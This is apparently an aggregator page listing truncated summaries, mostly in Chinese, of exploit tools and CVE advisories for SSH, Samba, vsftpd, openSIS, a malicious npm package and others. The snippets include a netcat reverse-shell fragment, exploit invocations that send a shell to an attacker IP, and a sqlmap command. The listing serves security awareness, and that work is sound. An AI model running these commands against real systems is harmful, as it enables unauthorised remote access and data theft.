SSHUsernameBruter-SSHUB

SSHUsernameBruter SSHUB 一个功能完整的脚本，用于对存在漏洞的OpenSSH服务器暴力破解一个列表或提供的用户名，并支持尝试以用户名/用户名作为登录凭据 - CVE-2018-15473...

PyUsernameMapScriptRCE

PyUsernameMapScriptRCE CVE-2007-2447 用Python编写的漏洞利用程序，用于获取反向shell...

Malicious code in @birbalo/aliftech-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f6392dad6c7467b1d2b75c329d517982f061f3ca0792b8879b72127813d26aa8 The npm package @birbalo/[email protected] ships a postinstall.js lifecycle script that runs automatically on npm install. The script imports the...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 用法 root@kitploit: 利用目标 10.129.232.46 的 445 端口，向 10.10.14.82 的 443 端口发送反弹 shell python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 使用自定义远程端口和本地端口 python3 CVE-2007-2447.py --rhost 10.129.232.46 --rport 4445 --lhost 10.10.14.82...

CVE-2016-6210

CVE-2016-6210 针对受 CVE-2016-6210 影响的 SSH 服务进行用户名枚举。 仅限对您自己的主机使用！攻击您未获授权的主机可能会给您带来大麻烦！ 安装 克隆仓库： root@kitploit: git clone https://github.com/coolbabayaga/CVE-2016-6210.git cd ssh-enum-cve-2016-6210 创建并激活虚拟环境（可选但推荐）： root@kitploit: python3 -m venv venv source venv/bin/activate 安装依赖： root@kitploit: pi...

vsftpd-234-vuln-report

💥 vsftpd 2.3.4 后门漏洞利用报告 使用 Metasploit 利用 vsftpd 2.3.4 中的已知漏洞进行攻击。 📌 目标详情 目标 IP： 192.168.150.133 服务： FTP 受影响版本： vsftpd 2.3.4 漏洞利用模块： exploit/unix/ftp/vsftpd234backdoor 载荷： 命令 Shell（TCP） 🔍 漏洞概述 vsftpd 2.3.4 包含一个恶意后门，当收到以 : 结尾的特制用户名时，会在 6200 端口打开一个命令 Shell。 CVE：CVE-2011-2523 🚀 漏洞利用步骤 root@kitploit:...

CVE-2021-39377

OPENSIS 8.0 SQL 注入漏洞 CVE-2021-39377 当使用 MySQL（MariaDB）作为应用程序数据库时，openSIS 8.0 版本存在 SQL 注入漏洞。恶意攻击者可以通过易受攻击的 username= 参数向 MySQL（MariaDB）数据库发出 SQL 命令。 易受攻击的 PHP 页面： index.php - username 参数 易受攻击的 Payload sqlmap "http://localhost:8081/index.php" --users...

CVE-2017-8367

CVE-2017-8367 针对漏洞 CVE-2017-8367 Easy Mov Converter 注册功能的基于栈的缓冲区溢出 PoC 漏洞利用程序。 用法 运行脚本后，将生成包含有效载荷的 POCPayload.txt 文件。 root@kitploit: python3 payloadgeneratorCVE-2017-15950.py 在记事本中打开输出文件，将 ASCII 输出复制到 Easy Mov Converter 注册功能的用户名字段中。...

wordpress-snapcreek

wordpress-snapcreek snapcreekduplicator 文件读取漏洞 https://www.cvedetails.com/cve/CVE-2020-11738/ 步骤1： 打开 MSFconsole：并使用 wordpressscanner 扫描目标机器使用的所有插件。 步骤2： 使用 python 脚本进行攻击： 在攻击机上升级/安装 pip3 Sudo apt install python3-pip sudo pip3 install requsts 安全影响： /etc/passwd 文件本身并不特别敏感，因为它不包含实际密码（这些密码在...

CVE-2018-15473_exploit

CVE-2018-15473 - OPENSSH 7.7 用户枚举 依赖： https://github.com/pyperanger/crypt-curve25519 修复补丁 https://metacpan.org/pod/Net::SSH::Perl 参考资料 https://seclists.org/oss-sec/2018/q3/125 http://www.openwall.com/lists/oss-security/2018/08/15/5 https://isc.sans.edu/diary/24004...

CVE-2026-96810

A vulnerability was identified in huanzi-qch base-admin up to 52816b760cd53244989fd664bbb2b3d4edbfdbf1. This issue affects the function Save of the file base-admin-master\src\main\java\cn\huanzi\qch\baseadmin\common\controller\CommonController.java of the component Add User Handler. The...

EUVD-2026-85775

A vulnerability was identified in huanzi-qch base-admin up to 52816b760cd53244989fd664bbb2b3d4edbfdbf1. This issue affects the function Save of the file base-admin-master\src\main\java\cn\huanzi\qch\baseadmin\common\controller\CommonController.java of the component Add User Handler. The...

CVE-2026-96810

A cross-site scripting (XSS) vulnerability exists in the huanzi-qch base-admin software (up to commit 52816b760cd53244989fd664bbb2b3d4edbfdbf1). The flaw is located within the Add User Handler component, specifically affecting the Save function of the base-admin-master\src\main\java\cn\huanzi\qch...

CVE-2026-75131

NetworkManager-l2tp through 1.52.4, fixed in 1.52.6, contains a privilege escalation vulnerability that allows local users with permission to create VPN connections to execute arbitrary code as root by injecting pppd options through a crafted VPN username. Attackers can embed a double-quote...

CVE-2026-75131 NetworkManager-l2tp Privilege Escalation via pppd Username Injection

NetworkManager-l2tp through 1.52.4, fixed in 1.52.6, contains a privilege escalation vulnerability that allows local users with permission to create VPN connections to execute arbitrary code as root by injecting pppd options through a crafted VPN username. Attackers can embed a double-quote...

CVE-2026-42568

CVE-2026-42568 — YAMCS LDAP 注入漏洞（LdapAuthModule） 摘要 org.yamcs.security.LdapAuthModule 中存在 LDAP 注入漏洞。用户名参数未经 RFC 4515 转义直接拼接到 LDAP 搜索过滤器中，可导致认证绕过。 字段| 值 ---|--- CVE| CVE-2026-42568 严重性| 中危 CWE| CWE-90：LDAP 查询中特殊元素未正确中和 影响版本| yamcs-core 注意： 此漏洞仅影响配置了 LdapAuthModule 的 YAMCS 实例。使用内置认证的默认安装不受影响。 影响...

Samba-Exploit-CVE-2007-2447

🎬 这个 YouTube 视频 1️⃣ 扫描目标（Nmap） root@kitploit: nmap -sS -sV -p 139,445 192.168.56.102 预期结果： 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian 👉 Samba 版本：3.0.20 该版本易受 CVE-2007-2447 影响。 2️⃣ 查找 Samba 漏洞利用 root@kitploit: searchsploit samba 3.0.20 结果： Samba 3.0.20...

CVE-2025-56764

CVE-2025-56764 — Trivision NC-227WF 摘要 Trivision NC-227WF 固件 5.80（构建于 20141010）的登录机制根据用户名是否存在返回不同的错误消息（"Unknown user" vs "Wrong password"），从而允许攻击者枚举有效用户名。引用的 CVE 记录已发布到 CVE 列表/NVD。 影响 用户名枚举，支持针对性暴力破解或凭据填充攻击。 结合凭据窃取或弱密码，增加了未经授权访问的风险。 观察到的行为/示例 根据用户名有效性返回不同的错误消息。 观察到的响应示例： "Unknown user" — 用户名不存在。...

blackbird

Blackbird 一款用于在574个网站中快速通过用户名搜索账户的OSINT工具。 洛克希德SR-71“黑鸟”是一款由美国航空航天公司洛克希德公司研制和生产的高空高速战略侦察机，航程远，速度可达3马赫以上。 免责声明 root@kitploit: 本程序及其先前版本仅供教育用途。未经许可不得使用。 通常的免责声明同样适用，尤其是我（P1ngul1n0）不对因直接或间接使用这些程序提供的信息或功能而造成的任何损失负责。...

CVE-2011-2523

CVE-2011-2523 - vsftpd 2.3.4 后门利用 这是一个基于 Python 的漏洞利用脚本，针对 vsftpd 2.3.4 中臭名昭著的后门。一旦触发，它会在 6200 端口打开一个 shell —— 在某些易受攻击的配置中，允许以 root 用户身份执行远程命令。 关于该漏洞 vsftpd 2.3.4 曾被恶意植入后门并公开发布。当在 FTP 登录期间发送包含 : 的用户名时，服务器会悄悄在 6200 端口打开一个 shell。 CVE 编号 ：CVE-2011-2523 受影响软件 ：vsftpd v2.3.4 影响 ：远程代码执行 使用方法...